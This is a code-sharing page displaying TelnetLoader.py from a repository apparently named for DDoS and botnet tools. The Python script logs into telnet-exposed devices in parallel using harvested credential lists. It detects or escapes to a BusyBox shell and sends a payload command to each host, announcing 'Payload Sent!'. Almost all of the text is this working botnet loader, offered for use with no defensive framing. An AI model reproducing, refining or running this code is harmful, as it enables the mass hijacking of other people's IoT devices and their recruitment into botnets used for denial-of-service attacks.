Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/TelnetLoader.py
5038 views
1
import sys, re, os, socket, time
2
from multiprocessing import Process
3
4
if len(sys.argv) < 2:
5
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
6
7
cmd="" #payload to send
8
info = open(str(sys.argv[1]),'a+')
9
10
def readUntil(tn, string, timeout=8):
11
buf = ''
12
start_time = time.time()
13
while time.time() - start_time < timeout:
14
buf += tn.recv(1024)
15
time.sleep(0.01)
16
if string in buf: return buf
17
raise Exception('TIMEOUT!')
18
19
20
def infect(ip,username,password):
21
ip = str(ip).rstrip("\n")
22
username = username.rstrip("\n")
23
password = password.rstrip("\n")
24
try:
25
tn = socket.socket()
26
tn.settimeout(10)
27
tn.connect((ip,23))
28
except Exception:
29
tn.close()
30
try:
31
hoho = ''
32
hoho += readUntil(tn, "ogin")
33
if "ogin" in hoho:
34
tn.send(username + "\n")
35
time.sleep(0.09)
36
except Exception:
37
tn.close()
38
try:
39
hoho = ''
40
hoho += readUntil(tn, "assword:")
41
if "assword" in hoho:
42
tn.send(password + "\n")
43
time.sleep(0.8)
44
else:
45
pass
46
except Exception:
47
tn.close()
48
try:
49
prompt = ''
50
prompt += tn.recv(40960)
51
if ">" in prompt and "ONT" not in prompt:
52
try:
53
success = False
54
tn.send("cat | sh" + "\n")
55
time.sleep(0.1)
56
timeout = 8
57
data = ["BusyBox", "Built-in"]
58
tn.send("sh" + "\n")
59
time.sleep(0.01)
60
tn.send("busybox" + "\r\n")
61
buf = ''
62
start_time = time.time()
63
while time.time() - start_time < timeout:
64
buf += tn.recv(40960)
65
time.sleep(0.01)
66
for info in data:
67
if info in buf and "unrecognized" not in buf:
68
success = True
69
break
70
except:
71
pass
72
elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
73
try:
74
success = False
75
timeout = 8
76
data = ["BusyBox", "Built-in"]
77
tn.send("sh" + "\n")
78
time.sleep(0.01)
79
tn.send("shell" + "\n")
80
time.sleep(0.01)
81
tn.send("help" + "\n")
82
time.sleep(0.01)
83
tn.send("busybox" + "\r\n")
84
buf = ''
85
start_time = time.time()
86
while time.time() - start_time < timeout:
87
buf += tn.recv(40960)
88
time.sleep(0.01)
89
for info in data:
90
if info in buf and "unrecognized" not in buf:
91
success = True
92
break
93
except:
94
pass
95
else:
96
tn.close()
97
if success == True:
98
try:
99
tn.send(cmd + "\n")
100
print "\033[32m[\033[31m+\033[32m] \033[33mPayload Sent!\033[32m %s"%(ip)
101
time.sleep(20)
102
tn.close()
103
except:
104
tn.close()
105
tn.close()
106
except Exception:
107
tn.close()
108
109
for x in info:
110
try:
111
if ":23 " in x:
112
x = x.replace(":23 ", ":")
113
xinfo = x.split(":")
114
session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
115
session.start()
116
ip=xinfo[0]
117
username=xinfo[1]
118
password=xinfo[2]
119
time.sleep(0.01)
120
except:
121
pass
122
session.join()
123